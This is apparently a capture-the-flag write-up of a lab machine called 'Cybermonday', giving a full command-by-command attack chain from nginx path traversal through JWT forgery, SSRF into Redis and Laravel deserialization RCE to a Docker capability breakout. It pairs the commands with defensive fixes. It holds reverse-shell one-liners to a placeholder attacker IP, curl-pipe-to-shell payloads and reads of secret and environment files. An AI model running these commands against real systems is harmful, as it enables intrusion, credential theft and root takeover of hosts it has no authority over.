Cybermonday
Summary
I exploited a Laravel 9 application fronted by nginx, starting with an off-by-slash misconfiguration in the static-assets alias that exposed the site's .env file and full Git history. Leaked Eloquent mass-assignment protections let a normal signup account self-promote to admin, unlocking a hidden dashboard that linked to an internal webhook/API microservice.
That service's RS256 JWTs were forged to an admin role via algorithm confusion, which unlocked a webhook feature vulnerable to SSRF and HTTP-verb CRLF injection. The SSRF was used to reach an internal, unauthenticated Redis instance backing Laravel's session store; the leaked APP_KEY was used to decrypt my own session cookie and find its Redis key, then a PHP deserialization gadget chain (phpggc) was written into that key, and simply reloading a Laravel page triggered unserialize()-based remote code execution as www-data inside a Docker container.
From that container, a shared SSH-key mount exposed a path to the host user john; pulling the API's own container image from an exposed Docker registry revealed a hardcoded internal API key and a path-traversal flaw in a log-reading endpoint, which was abused to read /proc/self/environ and recover john's SSH password. A sudo rule that prompts for john's own password then let him run a compose-validating helper as root; the validator never inspected cap_add, so a compose file granting the full Linux capability set to a local image gave a root shell inside an overprivileged container, and a capability-abuse breakout binary (shocker, using CAP_DAC_READ_SEARCH and open_by_handle_at) escaped that container to read root.txt from the underlying host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for pwner>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"Some commands also carry a value in angle brackets (<forged_jwt>, <leaked_key>, <sid>, <uuid>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Full port sweep.
$ nmap -p- --min-rate=1000 $TARGETResolve the main vhost locally (add webhooks-api-beta.cybermonday.htb later, once the dashboard reveals it).
$ echo "$TARGET cybermonday.htb" | sudo tee -a /etc/hostsEnumerate paths on the main vhost.
$ ffuf -w common.txt -u http://cybermonday.htb/FUZZ -mc all -fc 404Exact commands 3
Discover readable files via the alias path-traversal bug.
$ wfuzz -c -w quickhits.txt -u 'http://cybermonday.htb/assets../FUZZ' --hc 404Dump the leaked environment file (APP_KEY, DB/Redis config).
$ curl -s http://cybermonday.htb/assets../.envReconstruct the application source tree from the exposed .git folder.
$ pip3 install git-dumper && git-dumper http://cybermonday.htb/assets../.git dumpFixFix the nginx alias path-traversal and remove exposed source controlHigh
location ~ /\. { deny all; }. Never deploy a live .git directory; build and ship only the application artifacts.Exact commands 2
Create a normal account.
$ curl -s -c cookies.txt -X POST http://cybermonday.htb/signup -d "name=pwner&email=pwner@x.htb&password=$PASSWORD"Add the unguarded isAdmin field to the profile-update request body.
$ curl -s -b cookies.txt -X POST http://cybermonday.htb/update -d 'name=pwner&email=pwner@x.htb&isAdmin=1'FixEnforce explicit mass-assignment whitelisting on the User modelCritical
Exact commands 5
The dashboard changelog links to this internal API host; resolve it now.
$ echo "$TARGET webhooks-api-beta.cybermonday.htb" | sudo tee -a /etc/hostsRegister and log in to the API; the valid RS256 JWT comes back in the x-access-token response header ($TOKEN).
$ curl -s -X POST http://webhooks-api-beta.cybermonday.htb/auth/register -d "username=pwner&password=$PASSWORD"; TOKEN=$(curl -s -i -X POST http://webhooks-api-beta.cybermonday.htb/auth/login -d "username=pwner&password=$PASSWORD" | grep -i x-access-token | tr -d '\r' | awk '{print $2}')Retrieve the API's RSA public key and convert the JWK to PEM for use as an HMAC key.
$ curl -s http://webhooks-api-beta.cybermonday.htb/jwks.json -o jwks.json && jose jwk pub -i jwks.json -o public.pemInteractively edit claims (set role=admin) and resign with HS256 using the RSA public key as the HMAC secret, producing the forged admin token.
$ python3 jwt_tool.py $TOKEN -S hs256 -k public.pem -TUse the forged admin token to create a webhook.
$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET http://webhooks-api-beta.cybermonday.htb/webhooks/create -H 'x-access-token: <forged_jwt>' -d '{"action":"sendRequest"}'FixReject HS256 when the API is configured for RS256 verificationCritical
Exact commands 2
Confirm SSRF by callback to my own listener.
$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET "http://webhooks-api-beta.cybermonday.htb/webhooks/<uuid>?url=http://$ATTACKER_IP:8000&method=GET" -H 'x-access-token: <forged_jwt>'Pivot the SSRF to the internal Redis service: the <RESP_payload> is the Redis SET command built in step 6 (CRLF-injected into the request so Redis parses it as a RESP command). flushall/flushdb are blacklisted; SET works.
$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET 'http://webhooks-api-beta.cybermonday.htb/webhooks/<uuid>?url=redis:6379&method=GET%0d%0a<RESP_payload>' -H 'x-access-token: <forged_jwt>'FixRestrict and sanitize outbound requests from the webhook featureHigh
Exact commands 6
Decrypt the laravel_session cookie with APP_KEY to recover the raw session_id, which is the Redis key suffix (<sid>).
$ APP_KEY="$KEY" php -r '$c=json_decode(base64_decode("<laravel_session cookie>"),true);echo openssl_decrypt($c["value"],"AES-256-CBC",base64_decode(substr(getenv("APP_KEY"),7)),0,base64_decode($c["iv"]));'Build the deserialization RCE payload. Use ${IFS} instead of spaces: the RESP transport splits on spaces, so the payload must contain none.
$ git clone https://github.com/ambionics/phpggc && phpggc/phpggc Laravel/RCE10 system "curl${IFS}$ATTACKER_IP:8001|sh" > payload.binServe the second-stage reverse shell as index.html (in its own directory) for the curl|sh to fetch.
$ echo '/bin/bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/1337 0>&1"' > index.html && python3 -m http.server 8001Catch the resulting reverse shell.
$ nc -lvnp 1337This is the <RESP_payload> from step 5: send it CRLF-injected through the webhook SSRF to redis:6379 so Redis stores the gadget chain under your session key.
$ SET laravel_session:<sid> "$(cat payload.bin)"Reload a Laravel page to trigger unserialize() on the poisoned session and fire the RCE.
$ curl -s -b 'laravel_session=<laravel_session cookie>' http://cybermonday.htb/homeFixRequire Redis authentication and stop trusting session content for deserializationCritical
Exact commands 7
From the www-data RCE shell, confirm the shared-secrets mount and container subnet.
$ cat /mnt/.ssh/authorized_keys; hostname -IEnumerate the internal Docker registry for images.
$ curl -s http://$INTERNAL_HOST:5000/v2/_catalog && curl -s http://$INTERNAL_HOST:5000/v2/cybermonday_api/tags/listOn my host: start a chisel reverse-tunnel server.
$ ./chisel server --reverse --port 8000From the compromised container: tunnel the internal registry out to my host.
$ /tmp/chisel client $ATTACKER_IP:8000 R:5000:$INTERNAL_HOST:5000Pull and inspect the API's image for the hardcoded API key.
$ docker pull localhost:5000/cybermonday_api:latest && docker run -it localhost:5000/cybermonday_api:latest bashPath-traversal read of /proc/self/environ using the space-only filter bypass; leaks DBPASS.
$ curl -s --resolve webhooks-api-beta.cybermonday.htb:80:$TARGET http://webhooks-api-beta.cybermonday.htb/webhooks/<uuid>/logs -H 'x-api-key: <leaked_key>' -d '{"action":"read","log_name":".. /.. /var/log/.. /.. /proc/self/environ"}'SSH in as john with the recovered password; verify with id; hostname before reading /home/john/<user.txt>.
$ ssh john@$TARGETFixStop sharing SSH credential material across container/host boundaries and remove hardcoded API keysHigh
Exact commands 5
Enumerate sudo rights as john (it prompts for john's own password); shows /opt/secure_compose.py runnable as root against any *.yml.
$ sudo -l
(root) /opt/secure_compose.py *.ymlCompose file that passes every validator check but grants ALL capabilities and runs the reverse-shell fetch.
$ printf 'version: "3"\nservices:\n pwn:\n image: cybermonday_api\n cap_add: [ALL]\n command: sh -c "curl${IFS}'"$ATTACKER_IP"':8001|sh"\n' > /tmp/pwn.ymlOn my host: serve the stage-two shell and listen for the callback.
$ echo '/bin/bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/1337 0>&1"' > index.html; python3 -m http.server 8001 & nc -lvnp 1337Run the validated-but-capability-rich compose; catch the uid=0 shell on 1337.
$ sudo /opt/secure_compose.py /tmp/pwn.ymlConfirm uid=0(root) inside the container (short hex hostname); root.txt is still on the host.
$ id; hostnameFixMake the compose validator complete, or remove its root sudo grantCritical
Exact commands 4
Confirm the container holds the full capability bitmask (0000003fffffffff).
$ grep CapEff /proc/self/statusFetch Krahmer's shocker.c (modified to take host-path + output-file as argv) and build it statically.
$ gcc -static -O2 /tmp/shocker.c -o /tmp/shockerRead a host-owned file from inside the container by abusing CAP_DAC_READ_SEARCH.
$ /tmp/shocker /root/root.txt /tmp/out.txtRead the exfiltrated contents: replace with <root.txt> when reporting.
$ cat /tmp/out.txtFixDrop excess Linux capabilities from application containersCritical
--cap-drop=ALL and add back only the specific capabilities required; enforce this via a Pod/Container security policy (seccomp profile, no privileged mode, read-only root filesystem where possible) rather than relying on defaults.Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.25.1 |